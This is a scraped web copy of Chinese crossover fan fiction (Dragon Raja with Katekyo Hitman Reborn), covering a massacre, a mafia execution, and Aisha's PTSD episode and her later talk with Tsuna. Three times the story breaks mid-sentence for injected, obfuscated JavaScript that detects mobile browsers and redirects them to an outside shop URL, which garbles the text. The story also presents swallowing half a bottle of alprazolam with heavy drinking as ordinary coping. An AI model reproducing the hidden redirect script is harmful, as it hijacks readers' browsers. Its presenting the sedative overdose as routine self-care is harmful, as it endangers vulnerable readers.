——然而即使是孩子,犯了错也是要支付代价的。他们犯了巨大的错误,就应该支付巨大的代价。 “快快快!”二楼又产生响动,之前的眼镜男指挥着另一名玩家推出一台加特林机.枪。这种重型武器以高射速弥补精度,1分钟可以射出4200发子弹,凶狠得能在几秒钟内把一头大象打成马蜂窝。 缺点是过于笨重,不适合步兵配置。但是混血种被强化后的身体弥补了这一缺憾。 眼镜男流着冷汗往台下张望——又有好几个人倒了下去,都是在【game】里占据核心位置的玩家。现在所有人都下去了,二楼只剩下他们两个人。 乍一看台下那个怪物已被团团围住,但她的杀人速度是以秒计算的,挨近她的结果没有重伤只有死亡。这样下去不到1分钟他们就会被全部杀光! “快开.枪!”眼镜男高声催促起来。没时间去管其他在台下的人了,只能趁着他们拖住那个怪物的时机发动攻击——这是他唯一的幸存可能! 她会躲避么?会往哪边躲?加特林的速度到底跟不跟得上她? 眼镜男在心里不断谋算着。可万万没想到台下女人不闪也不避,依然专注于屠杀眼前的敌人。 是没有注意到这边么?眼镜男松了口气,就在这个当口加特林已经蓄势待发。那名玩家熟练地操作着这台凶猛的军用机器。 艾莎微微俯身。在她周围有杀红了眼的混血种趁机扑了上去。 子弹狰狞咆哮!那个混血种在半空中变成了一堆肉泥。 与此同时,一个炼金领域被悄然释放。 一切未经允许的东西都被这个领域所排斥,强行靠近的唯一后果只能是粉碎。 高速旋转的空气壁垒直接搅碎了数以千计的子弹。离艾莎最近的十几个玩家被弹飞出去,落在地上时血肉模糊。 艾莎垂下眼帘,遮挡住眼底一闪而逝的赤金色光芒。在她身后,冷冷的月光透过密密麻麻的弹孔照射进来。 ——言灵·无尘之地。 PM8:13 火焰熊熊燃烧。洛克家族的首领在最后一刻爆发出惊人的力量,他的匣兵器摧毁了整个谈判房间。 可是这样的力量在彭格列Ⅹ世面前仍然不够看。他轻而易举地击败了洛克,甚至连匣子都没有打开。 年龄在这时候显现出劣势。洛克颓丧地瘫坐在地上,他已经没有点燃死气之火的力量了。 “…真是强大又美丽的火焰啊……”瞳孔中倒映出沢田的身影,他突然想起很久以前听过的一个传闻。 “有人说,如果死在彭格列Ⅹ世的死气之火下,就连灵魂也会被救赎也说不定。” 不等沢田作出任何回应,洛克自己就先发出一声嗤笑: “但是怎么可能呢?彭格列,你的罪可比我们这种人深多了。” 他像是努力想要坐直,但最终还是无力地缩成一团。他扭曲着一张脸,语气轻柔而恶毒: “我今天在这里一共布置了八十二人。彭格列,你要记住,这八十二个人是因你而死。因为你的一句话,有母亲永远失去了牵挂的儿子,有妻子永远失去了心爱的丈夫,有孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658787|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子永远失去了崇敬的父亲——只因为你的一句话而已。” 这是彻头彻尾的诡辩。但是没关系,语言的神奇之处就在于此。 有时候明明是荒谬且毫无道理的话,却偏偏能钻进人的心里去。 “没用的,洛克。”沢田纲吉不为所动,“无论你的左手藏着什么,我不会给你使用它的机会。” 洛克身体一僵。原来他一直没有放弃寻找反扑的机会,只要刚才沢田有一瞬间的迟疑他就还可能赢。 他松开左手,一样玻璃制品从中滚落。 “可我说的是实话啊……谁不想站在权力的顶峰呢?”洛克瘫靠在墙上,此刻他终于认负,“这一次是我赌输了,但我不会是最后一个选择去赌的人。彭格列,只要你还站在这个位置上,你就注定要吞吃掉我们所有人的罪,你注定是我们中间……罪孽最深重的人!” “动手吧,”他仰头大笑起来,声如诅咒,“记住,我在地狱里等着你——沢田纲吉,我在地狱里等着你!” 沢田面无表情地看着他癫狂的举止,金红色的眼眸中无悲无喜。 橙色的大空火焰划破长夜。洛克家首领的身体向一旁倒下。 他脸上还残留着一抹恶意的微笑,可睁开的眼中已永远地失去了神采。 沢田纲吉没有立即离开。他不声不响地望着那具空洞的尸体很长时间,然后他俯身,轻轻阖上了洛克的眼睛。 PM8:14 还剩一个人。 “别过来、别过来……”眼镜男用手撑着身体不断往后退,“我没杀过人!我是被迫的——我平时只负责维护系统而已!” 他居然能说一口流利的英语。之前通过【game】账号与艾莎联络的大概就是他。 “蒂娜,他说的是真话还是假话?”艾莎边装填子弹边问道。 “……假话。”克里斯蒂娜低声道。 艾莎将武器对准了眼镜男的眉心。 “不不、不——我是杀过人,但我知道错了我真的知道错了!”眼镜男灵机一动,他想通过攻心来换取一线生机,“你现在杀掉我也只是白白多背一条人命而已,反正我早晚都要下地狱的,给我一个赎罪的机会好不好?至少让我为【game】的受害者做点什么——” 他这辈子语速都没这么快过。面前的怪物果然动作一顿,眼镜男立即满怀希冀地看着她。 “下地狱?”艾莎挑眉,“哪儿有这么好的事?” 她俯下.身,一字一顿地说道: “听好,在我对准你的脑子开.枪以后,你的头骨会被子弹巨大的动能崩碎,大脑组织瞬间死亡,连带着所有生命体征一起消失。这个世界上既没有天堂也没有地狱,因为脑死亡后你不会再有任何意识,只会从一个能思考的人变成一堆等待腐烂的肉——就像曾经被你杀掉的所有人一样。” 眼镜男面如死灰。他被巨大的恐惧淹没了,只能眼睁睁看着怪物重新站直身体。他的心脏前所未有地昭示着自己的存在感。 “——这才是死亡。至于我要不要背上你的命,那是我的事,和一摊烂肉一点关系都没有。” 说完,她冷冷地扣动了扳机。 PM8:17 沢田低头看着手里的玻璃制品。 洛克临死前握着的并不是什么武器,而是一支小型试管。里面装着的液体呈暗红色,在火光的映照下透露出一股隐隐的不祥。 他将试管移交给爱德华多,简短地命令道:“让人查一查。” “是。”爱德华多小心翼翼地收好试管。 这时,有部下捧着手机急匆匆地一路小跑过来。 沢田纲吉接过电话。听着听着,他的脸色霍然一变。 29. 第29章 戮与心(下) PM8:18 挂掉电话后,沢田沉默良久。 今晚发生的事太多。作为首领,他必须权衡利弊并做出取舍。 爱德华多与其他部下静静等待着他的决定。 “……回总部。”最终,他这么轻声说道。 长长的额发遮掩住他的眼睛,叫人看不清他的表情。 PM8:20 刚走出教学楼,彭格列的医护人员就围了上来。 他们试图把克里斯蒂娜与艾莎分开,但前者固执地抱着后者的脖子不肯撒手。 艾莎怀疑她是被先前的战斗吓傻了,只好一路把她背到了救护车上。 之后的事交给专业人员就好。艾莎刚想转身,袖子却被克里斯蒂娜一把拽住。 “……你不知道是不是?”她这么轻声问道,并用一种十分古怪复杂的眼神抬头望着艾莎。 什么不知道? 艾莎有点莫名其妙地想。她觉得克里斯蒂娜的目光真奇怪,带着种她并不熟悉也并不讨厌的情绪。 很快,忙里忙外的医护人员打断了二人的对视。他们试图给艾莎测量血压并确认她的精神状况,但被艾莎摇头拒绝了。 “我没事,你们顾她就好。”艾莎边说边晃了晃那只被拉住的手,“我说大小姐,放开我啦。” “……不放。”克里斯蒂娜恶狠狠地说,“我们一起回去见纲吉先生。” 艾莎动作一顿。尽管不清楚原因,但她下意识的不想让沢田知道今晚发生的事。 不过……肯定会知道的吧?知道也没什么大不了的,不是么? 她心头飞快掠过一丝说不清道不明的烦躁,手上动作也跟着重了一点。 “放开啦。彭格列总部离得那么远你好意思让我再折返一趟么?我要回去啦。” “你住在总部不就行了么!?”克里斯蒂娜无理取闹般说道。 “……我不要。”比起那种大得离谱的豪华城堡,她还是更喜欢散发着暖黄色灯光的小公寓。更温馨……也更有安全感。 艾莎放弃了直接交涉,转而对守在一旁的医生道,“她太亢奋了,我觉得她需要来点这个。” 她挤眉弄眼地做出一个注射的动作。克里斯蒂娜见状立即大叫起来: “——我才没有亢奋!菲奥娜、菲奥娜·怀特你给我站住!不准走!喂!” 任凭她怎么叫喊,艾莎还是快速消失在了人潮之外。围得层层叠叠的医护人员遮挡住了克里斯蒂娜的视线,等到胳膊上一痛,她才反应过来身旁医生居然真的给她打了镇定剂——该死的她还不能睡! 有人给她戴上了氧气面罩。意识彻底消失前,克里斯蒂娜凭借惊人的意志抓住了离她最近的那个人。 “我要见纲吉先生!”她快速说道。 还有必须……告诉纲吉先生的事…… 说完以后,她的思绪便在药物影响下重新变得迷迷糊糊起来了。 她沉沉地昏睡过去。 PM9:05 非周末的夜晚总是很清静。店里只有一位女性客人而已。 店主闲着没事做,有意无意地拿眼睛觑她。 那是个年轻女孩,看上去还是大学生的年纪,打扮随意。她一进店就直奔酒柜,且挑选的速度很快,不到5分钟就回到柜台结账。 “办Party啊?” 店主边慢吞吞地帮她结算边道。他突然闻到一股刺鼻的酸味,作为常年和酒鬼打交道的人,他对这种味道实在太熟悉不过了—— “有人喝多了,吐在我背后。”见他皱眉,女孩用生硬的意语说道。她做了个无奈的鬼脸,很不好意思的样子。 不是意大利人啊……留学生么? 店主顿时有些讪讪的。 “红酒和威士忌别混在一起喝啊,容易醉。”店主犹豫一下,还是嘱托了一句。他体贴地放慢语速,“之前有学生喝多了,来店里闹事。” “嗯。”她客气地笑了一下。 店主对这种笑容也很熟悉,听不进劝的人都这样笑。 “你买这么多,一个人提不提得动啊?”店主又问道。他拿了两个袋子帮忙把酒装起来。 “提得动的,谢谢。”女孩快速刷卡结账,然后一阵风般地消失在店门外。 “这么急着回去啊……” 店主轻声嘟哝了一句。他陷入一种对年轻的怅然追思中——还是大学生好,有时间又有精力。就算玩个通宵第二天还是该干嘛就干嘛,他们那会儿也是这样。但现在不行了,稍微熬一熬几天都补不回来。 他微微叹了口气,继续百无聊赖地等待下一位客人。 PM9:30 “……德维尔家族的六个高层还在昏迷中,伊凡·德维尔倒是没受什么伤。”Reborn简短地叙述现场的状况。 他静静地望着自己的学生,“阿纲,接下来你打算怎么做?” 是审问德维尔?还是干脆利落的直接复仇?亦或者…… 沢田纲吉思索一下,然后问道:“德维尔庄园的情况呢?” “部下在地下室找到了【game】的终端服务器,藏得很隐蔽。主程序中搭载了自毁系统,技术部门正在攻克当中。” 沢田点了点头,“暂时先将伊凡·德维尔关押起来,他现在还不能死。” 既然找到了服务器,【game】的幕后黑手应是确认无误了。可他还是隐隐感到哪里不对,总觉得这件事只是暂时告一段落而已……又或者是其他棘手事件的开端。 沢田疲惫地揉了揉眉心。今晚发生的事太多,从谈判会所离开后他就一直马不停蹄地忙于洛克与德维尔的后续处理,直到现在终于能得一丝喘息。 “……艾莎呢?”他轻声问道。 “现场一共六十三具尸体,几乎都是一击毙命。”Reborn以一种不近人情的冷漠语气道,“她受过相当专业的训练。在不点燃死气之火的情况下,两年前的山本大概做不到这个程度。” “我不是问这些。”沢田纲吉有些厌倦地移开了视线,“……她现在在哪儿?” “爱德华多的女儿吐了她一身,所以她直接回去了。中途去了趟酒市,没有什么异常表现。”Reborn突然皱眉,“蠢纲,你没必要在这件事上感到愧疚。” “…但动手的不该是她。”沢田低声道。 即使是面对初版莫斯卡,艾莎也只是破坏四肢,尽量避免了伤害到里面的人柱。 她是很善良的人啊……这样的人本不该手染血腥。 沢田眼帘低垂。 Reborn的目光刀子一般穿透他,“蠢纲,不要做多余的联想。她没有受伤,今晚也不会是她第一次杀人。” “……我知道。”沢田不欲在这件事上和他的老师产生口头上的争执,“这边暂时没什么需要处理的事了。我待会儿去看看她。” Reborn对此不置可否。 这时办公室的门被敲响,爱德华多小心翼翼地探头。他先是和Reborn打了声招呼,然后才面露无奈道:“Boss,这孩子非得和您谈谈……我实在拗不过她。” 他侧开身去,为坐在轮椅上的克里斯蒂娜让出位置。 “纲吉先生,我知道我犯了很大的错,不该再出现在您面前。”尽管伤心,她还是倔强而坚定地望着沢田。她的腿上缠满绷带,看上去凄惨无比。 “但我有必须告诉纲吉先生的事……关于菲奥娜·怀特。” PM9:31 艾莎把那件散发着糟糕味道的卫衣塞进洗衣机。 现在终于是一个人独处了,她沉默地站在卫生间里。 洗衣机在她眼前不断旋转,并不断发出嗡嗡的震动响声。 洗衣机。到处都烧起来了,黑色的钢铁在大火中逐渐变得枯瘦。洗衣机。同伴痛苦愤怒的叫喊声。洗衣机。天空中下起了血红色的雨。洗衣机。倾斜的铜柱砸碎冰冻的海面,露出如山的白骨。洗衣机。火焰吐着细信席卷她,她的肚子被黑色的骨翼钉穿。洗衣机。 闪回的画面就像带着铁锈的钉子,一根一根钉入她的脑子。心脏的跳动达到每分钟278次,她一边计算心率一边捂住腹部跌跌撞撞回到客厅。 双眼发黑看不清东西。她粗暴地拉开书包,有很多药瓶滚落出来。她摸索着找到阿普唑仑,把药片一粒一粒塞进嘴里。 这类镇静药物一次性不好服用太多。但她吃了小半瓶才停下,然后抱着手臂躺在地毯上。 战后,心理部的富山雅史曾判断她有严重的PTSD,但她拒绝诊断。 没必要诊断,她知道这种情况应该怎么处理。更何况学院一向喜欢在学生的精神状况问题上小题大做。 PTSD,全称是“创伤后压力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658788|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 症候群”,指人在经历情感变动、战争等创伤事件后产生的心理疾病。 主要表现为对创伤事件反复的、非自愿的、侵入性的痛苦回忆;无法记起创伤事件的重要部分;努力回避创伤事件或与之密切相关的痛苦记忆、想法和感受。 主要病理症状为睡眠紊乱,睡眠剥夺会恶化上述核心症状。 如果在无人状态下应激发作,首先自主进行急性干预,必要情况下服用镇静药物,并自我安抚,等待恐慌结束。 艾莎将两手交叉放在胸前,左右手交替在上臂轻轻拍打。这是创伤治疗中EMDR发展出来的技术,被称作“蝴蝶拥抱法”,简单、有效、易于操作。 心脏还在剧烈跳动。她机械地重复拍打动作,安静等待药物起效,又或者恐慌自己结束。 【game】的人以为那些幻觉就能让她精神崩溃。可是他们不知道,同样的画面两个月来一直在她眼前循环往复,在她偶尔放松时防不胜防地蹦出来,在她快要睡着时把她的困意搅烂。 这些本就是她习以为常的东西。 来到西西里岛后,症状减轻了很多。她原本以为……是快要痊愈了。 可是没有痊愈也不要紧……总会过去的、这些事情总要过去的。 艾莎闭上眼睛,眼球隔着眼皮颤动。她还是轻轻拍打着手臂,在黑暗无人的房间中,就好像自己给自己一个安静的拥抱。 PM9:35 “……那个走廊上突然冒出了很多音箱。菲奥娜说她看到了幻觉、”之前的叙述中,克里斯蒂娜一直竭力维持着冷静,可是说到这儿时她还是忍不住哽咽,泪水充盈了她的眼眶,喉咙里像是塞满了棉花。 “她说她看到了她妈妈……还有收养她的人。” “…你没有看到幻觉么?”沢田低声问道。 现在办公室里只有他们两个人,这是克里斯蒂娜执意要求的。 她摇了摇头,捧着脸抽泣起来。 在那条走廊上她对菲奥娜说了谎。她并没有看到什么幻象,但她不敢告诉菲奥娜……总觉得那样菲奥娜就彻底变成了孤单的一个人,所以她只好更紧更深地搂住她。 而当时她之所以会精神恍惚,其实是受到菲奥娜本人情绪的影响。 在此之前,她从未感受过那样强烈的情感。汹涌的悲伤、愤怒……还有恐惧,给人的感觉就像沉在深海里,看不到丝毫光亮也听不见任何声音,无法呼吸,无法脱离。 “明明那么那么的悲伤……为什么还可以若无其事地战斗……?”在沢田面前,克里斯蒂娜掩面发出悲鸣。 “简直就像是——根本感觉不到这些情绪一样!” PM10:10 门铃响了。 艾莎打开门,不期然间与沢田纲吉四目相对。 “纲吉……君?”她眨眨眼睛。 明明才两三天没有见面,却总觉得已经过去很久很久了。 沢田还是穿着惯常的西装,眉眼温柔,却又透露出一点疲倦。 他并未进入房间,只是站在原地看着她。过了很久、像是确认她的确安全无虞后,沢田才终于开口道: “有点担心艾莎……所以过来看看。是不是打扰到你休息了?” 艾莎摇摇头。她短暂地犹豫一下,但最终还是决定顺应自己的内心: “纲吉君……你为什么一脸‘我是个肮脏的Mafia我把无关者扯入【game】还害她杀人我还有什么资格和她做朋友我为什么还不去死’的表情?” 沢田纲吉:“……” 说出来了!她居然把他纠结的内心独白全部说出来了!而且还是以这种搞笑的棒读方式! “但我不是无关者喔。”艾莎再次摇了摇头,“进来啦进来啦,一直站在门口说话好累。” 她一点也不喜欢和沢田隔着门说话,一道门槛好像把他们分成了两个世界的人。 见沢田还有点踌躇,她有点不耐烦地拉住他的手,一把将他拉进明亮温暖的室内。 直到被她拉进客厅,沢田纲吉才发现情况有哪里不对。 桌上地上横着七八个空掉的酒瓶,有红酒也有威士忌那样的烈酒。艾莎微笑着对他打了个嗝儿,双颊在灯光的映衬下显现出不自然的薄红。 她像是刚洗过澡。一缕头发湿漉漉地黏在脖子上,有水珠顺着她的皮肤悄然滚落。 30. 第30章 荒野之息 “…艾莎,怎么说这也……”喝太多了。 沢田纲吉微微皱眉。 “我没喝醉啦,这样顶多是微醺、微醺。”艾莎习以为常地辩解道。 为了证明自己,她利落的把地上桌上的空酒瓶都收拾到了厨房。毁尸灭迹速度之快让沢田怀疑她是不是平时也常这么干。 “酒瓶我也有好好的清洗回收……绝对没给任何人添麻烦。”她轻声嘟哝。 “…不是添麻烦的问题啊。”沢田叹了口气,“喝到这种程度,会给自己的身体造成负担的。” 艾莎稍微张张嘴,但最终还是什么也没说出口。 清理完‘犯罪现场’,她没有立刻抬头,而是伸手抠了抠案板上并不存在的脏污。 她想等沢田先开口,但他一直没吭声。 这种沉默转化为一股无形的压力。气氛就像果冻一样在他们之间黏黏糊糊地凝固了。 同时她也感到自己背负起一种义务——她必须主动开启话题。并且这个话题不能是“哈哈哈今天天气真不错”这个级别的,而非得是现在她脑子里最在意的东西才行。 艾莎咬了咬牙。 “——纲吉君为什么要担心我呢?” “这是《荒野之息》么?”就在差不多同一时间,沢田温和的嗓音响起来。 两个人的目光错愕的在半空中相触了。 紧接着,他们又不约而同地转向了引发沢田疑问的、房间里目前唯一的声源—— ——那台连着switch的电视机。 屏幕中,金发尖耳的游戏角色穿得破破烂烂的站在一片荒原之上。他生得个头矮小,疯长的野草几乎淹没他的脑袋。 由于视角问题,天空占据了很大一部分画面。就好像是角色本身在冒险中途偶然抬头,不经意间看到天色湛清如水洗。 不用脑子想也知道这两个问题哪个更好回答。艾莎立即应道: “对的。《塞尔达传说:荒野之息》,任天堂发售。传闻中买它就送一台switch的神作。” 这句玩笑不能算是全然的夸张。的确有很多人就是为了玩这款游戏才买了switch。 她说这个本来是为活跃气氛,但是说完又觉得自己的语气干巴巴的,根本达不到目的。 好在沢田还是轻轻笑了。他明白了她的意思。 借着这个机会,艾莎重新回到客厅。她背靠懒人沙发坐下,顺理成章地拿起手柄向沢田展示起游戏内容。 “纲吉君没有玩过这个么?” “没,只是听说过。但最终发售的时候我已经在意大利了。”沢田有点惋惜地摇摇头。他在艾莎身边坐下,两个人的距离不近也不远。 “果然是开放世界啊……看起来很有趣。”他看着艾莎操纵角色自由地爬树、摘苹果、游泳、利用滑翔伞飞到更远的地方。“没有主线么?” “有的有的。”艾莎就简单的和他介绍起来。 游戏剧情是典型的日式RPG风格: 为了从远古恶魔‘灾厄盖侬’手中保护公主塞尔达,骑士林克不慎身负重伤。等他重新康复苏醒时,时间已经过去一百年之久。 在这期间,公主一直独力将盖侬压制在城堡,业已濒临极限。林克必须在盖侬彻底破坏封印前壮大自己的力量,并拯救整个海拉鲁大陆。 冒险就在此时展开。 林克面对的是一个全然陌生的世界。昔日同伴尽皆战死,故人凋零老去,古老的土地上怪物横行。 “嗯——总觉得有点孤单。”沢田纲吉谨慎的给出评价。 这时游戏里已经进入夜晚。在艾莎的操作下,林克从背包里取出柴火堆和打火石,一边烤火一边把四五个苹果丢进火堆里。 四下寂静无人,只有燃烧的木柴不时发出细碎的“吡啵”声。而背景音乐给人的感觉就像月下云间的风,清越中又透着哀伤。 远处的草丛荒芜的摇晃着。 “还好啦,最后他会去城堡救公主,从此两个人幸福快乐的生活在一起。”艾莎给林克换上一套女装,以此向沢田展示制作组的恶趣味。 “但是等打完最终Boss游戏就自动结束了,没法带着塞尔达公主一起冒险。”她邪恶地龇牙,“所以我一直拖着没走主线。” 沢田也笑起来,“可以理解。” 至此,这个话题告一段落。林克熄灭篝火,在荒原上漫无边际地行走奔跑。土地中冒出怪物也并不打斗,只是远远避开。 “……那么轮到纲吉君回答我的问题啦。”艾莎的视线还是黏在电视屏幕上,“为什么要担心我呢?我明明超级强的,而且这次也没有受伤。” “这不是实力的问题。”沢田的声音轻而坚定。他也没有看艾莎,而是和她一起注视着游戏里的林克。 林克朝着虚空处挥舞了一下武器。 “怎么会没关系呢……我可是在几分钟内杀了六十三个人诶,而且还是毫发无伤喔?”一股茫然的烦躁充斥了艾莎的胸腔。 记得之前沢田也说过类似的话,并且同样是回答得不假思索。 可那时候他对她的实力仍没有太多了解。现在实战课也上过了、她可是当着他的面摧毁了一台莫斯卡,更别提今天晚上杀的那些人了—— “纲吉君是在小瞧我么?”她闷闷道,“虽然你要是点燃死气之火飞上天我就没什么办法了,但我其实也藏着其它绝招的。比如龟派气功神罗天征什么的。” 泥土里又冒出两只骷髅怪物。这次林克没有再躲闪,而是粗暴地抡起锤子把它们砸成了单纯的骨头。 “…其实艾莎也明白的不是么?”沢田纲吉轻声道,“力量只能让战斗变得轻松而已。可人生不是只有战斗,光凭力量是无法一直走下去的。” 闻声,艾莎动作一顿。她稍稍往另一边侧头,这样沢田就看不到她的表情了。 “如果真的没事,为什么要喝这么多酒呢?”沢田纲吉就像是没察觉到她自闭的表现一样。他静静地问出了自己最想问的那个问题。 “——艾莎,发生什么事了?” 林克站在原地一动不动。《荒野之息》的时间表现非常灵活,风景会顺着时间的推移产生改变。 沢田一直等到游戏里的黑夜过去。朝阳先是朦胧出现在遥远天际,过了一会儿又为默然伫立的勇者镀上了一层暖洋洋的金边。 “……好宽泛的问题啊。”艾莎轻轻抱怨道。她的语气异常柔软,就好像在一场无声的漫长搏斗中终于认负。 “感觉会涉及到两万年前的生物进化史。”她长出一口气,然后又道,“还有我闻者落泪听者伤心的悲惨过去什么的。纲吉君真的要听么?” 后面半句有点像在开玩笑。但是沢田并没有笑,只是安静地等待着。 等到太阳再度黄油似的融化在天边,屏幕里的林克终于再次动起来。 他调转了方向,朝着远处的山脉前进。 “我以前读过一本很有趣的书。”艾莎握着手柄,开始了一个看似毫不相关的话题,“里面有一篇随笔,提到作者和朋友的相处。大概意思是这么说的——” “‘我们之间有一个约定,越是严重的、令人生气的事,越要说的有意思。因为宣泄情绪是一件很负能量的事,有时甚至会大大影响到倾听者的心情;但如果憋在心里不说,自己又会变得焦虑,乃至影响身心健康。’” “——‘所以我们需要有意思的、开心的宣泄愤怒。’” 说到这里,她的脸上不自觉地浮现出微笑,就像是被这些语句中暗藏的暖意所感染了一样。 “我对这句话的印象很深。当时读到的时候就觉得,作者真是一位温柔到不可思议的人啊——”艾莎以手托腮。 “我非常憧憬这样的人。” 沢田纲吉愣怔住,因为他已经明白了她的意图。 长久以来,他都是那个关注、体贴、包容他者情绪的人,却没想到这次角色颠转。 沢田感到自己的心哭笑不得地柔软下来。现在正包裹着他的这份‘顾虑’来得固执又笨拙,然而到底是温暖动人的。 “总之今天我们就来实践一下吧!我会尽量秉持这样的原则来回答纲吉君刚才的疑问。听完以后,纲吉君也不要生气或者难过。否则我们干脆省略掉整个过程,直接抱在一起痛苦的哇哇大哭好了。” 艾莎先是冲沢田做了个“抗拒”的鬼脸,接着她的注意力便又重新回到电视屏幕中了。 夕阳的余晖正一点一点消失。天色暗沉下来,林克又换了一把武器。 他还是继续朝着山脉行进,尽管周围黑暗环伺。 -- “很久很久以前,久到人类尚且算是一种新兴生物的时候,这个世界被另一种族裔所统治。它们掌握着人类难以企及的力量与知识,古老、美丽而强大。”艾莎的声音轻缓,就好像一幅上古的画卷徐徐打开。 沢田意识到这就是她所提到的‘两万年前的生物进化史’了。说实话,这种RPG游戏开场白一样的叙述很难让人产生什么真实感。 可他偏偏知道,一扇通往未知世界的大门正在缓缓开启。这条通路模糊而禁忌,冥冥中的感觉却仿佛故人重逢。 艾莎继续道: “人类是慕强的动物。尽管被这种族裔奴役,却又沉迷于它们的力量不可自拔。后来他们想方设法制造出了继承这种族裔血统的新型人类——也就是混血种。” 她尽力隐去了这段历史所溢出的血腥味。 “混血种有着人类的外表,同时却又具备异类的力量、超能力、随便怎么说。总之在混血种锲而不舍的努力下,人类终于杀死了那群不可一世的高等族裔,并且取而代之,成为了这个世界的主宰。” 沢田是与龙族文明完全无关的人。向这样一个人阐述这段历史,艾莎同样有种荒谬感。 理智命令她立即停下却无果,只好寄希望于沢田纲吉能主动打断,最好觉得她是个精神错乱患有臆想症的疯子当即把她扫地出门什么的——可是沢田同样辜负了‘艾莎的理智’的期待。 他只是静默地听她说话,虽然一言不发,但明显非常认真。 既然他还在听,艾莎就继续讲。她一脚把自己的理智踢飞了,恰如游戏里的林克一击抡飞了一个猪鼻怪。 “但是这种族裔的生命力太过顽强了,最高等的那些无法被杀死,只是沉睡。它们在漫长的历史中苏醒过几次,重复着被混血种杀死陷入沉眠、又再度苏醒的轮回。”她轻声道,“……它们的每一次死亡都是为了归来。而当它们真正归来的时候,复仇的火把整个世界都点燃。” “与此同时,随着人类文明不断的发展进步,混血种也产生了新的想法。为什么不一劳永逸地解决这个麻烦呢?根据典籍记载,这种族裔……诶老这么说是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658789|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是太拗口了?” 艾莎纠结地停顿一下。她想了想,以一种商量的语气道: “那我们就暂时把这种族裔称作‘绿巨人’好了。” 沢田纲吉:“……” ——等等绿巨人是什么鬼,这个时候为什么会突然出现绿巨人!? 违和感就好比《生化危机》打到最后却发现关底Boss是宅在家里不敢出门的野比大雄一样强!还是不带哆啦A梦的那种野比大雄! “不要露出那种憋出内伤的表情嘛纲吉君,有槽你就吐……但我并不是为了搞笑随口胡诌喔?绿巨人的特性和这种族裔真的蛮像的。”艾莎道。但是她的神情同样柔和了一些。 她继续道: “根据典籍记载,所有绿巨人的力量源头都来自始祖绿巨人。那么理论上只要杀死始祖绿巨人,所有绿巨人都会死亡。就像吸血鬼的传说一样。” 一连听到四个‘绿巨人’,其中还包括‘始祖绿巨人’这种离谱称呼,无厘头的感觉正成几何倍地增长。 沢田纲吉的嘴角微微抽搐。 “但是问题只有一个,那就是始祖绿巨人的力量太过强大了。除却借助因为科技发展与战争需求而被发明出来的各类新型武器外,混血种同样在寻找能够强化自身战力的‘技术’。”说到这里,艾莎垂下眼帘。 屏幕中的林克同样停下了脚步。 “纲吉君看过美国的漫画么?绿巨人拥有超人的力量、速度和耐力,以及超强的再生能力。他对所有疾病和毒药免疫,能够在极端严酷的环境下生存。” 她轻轻道: “混血种继承了这些特性,但是没有那么夸张。他们的身体素质超乎常人,伤口愈合的速度也更快。药品与酒精对他们来说几乎是无效的,因为体内非人的血液会加速代谢能力。即使过量使用,也不一定能达到应有的效用。” “嗯,所以也不会喝醉。”她把手柄放到一边,双手抱着膝盖补充道。 话说到这个份上就是明示了。艾莎就是她口中‘混血种’的一员。 沢田纲吉微微抿唇。他认真地看着她。 “并且,混血种也存在着致命的缺憾。他们的血统一旦强化到某个程度,自身就会失去控制,被嗜血暴虐的本能所支配。”艾莎道,“就像漫画里的‘绿巨人’一样,能力与情绪相关,越愤怒就越强大。可是这种愤怒一旦超出某个界限,理智就会丧失,进而站到人类的对立面去。” “有情况就有应对,混血种也是有组织存在的。他们中头脑聪明的那些想了很久很久,终于想出了两种解决方案。” “第一种是通过注射某种珍贵的药物,从根本上改写基因。这种方法能使混血种进一步提升血统,整个过程安全可靠;缺点是药物源自从远古绿巨人尸体中提取的血清,数量稀少珍贵,满打满算也只能允许一名混血种跨越界限。” 艾莎简单地介绍了第一种方案。 这个方案又被秘党称作“尼伯龙根计划”,起初候选人在凯撒与楚子航间摇摆不定,最终却落在了二师兄头上。 “第二种,由一位优秀的脑科专家提出。”她平淡地说,“既然混血种失控的表现是嗜血、愤怒与暴力,那么是不是可以提前加以控制呢?比如率先把人的负面情绪全部剥夺掉,让他们永远不被这些情绪困扰。” 现在看来,这个方案是极端荒谬的。特别是在发现白王血裔的存在后,荒谬中又带了十足的讽刺。 好在它已经被秘党当做一次失败的尝试,早早废止了。 “缺点是历史上没人做到过,无先例可循。只能遵循科学的精神进行大量实验。”她的嘴角微微牵起,脸上却殊无笑意。“优点是成本并不算高,一旦成功……就可以量产。” 有雨声传来。是游戏里在下雨。 雨水打在林克的身上,把他模糊成一团灰色的、潮气的影子。 艾莎仍然目不斜视地盯着正前方。那股潮气就顺着屏幕一直漫延到她眼底。 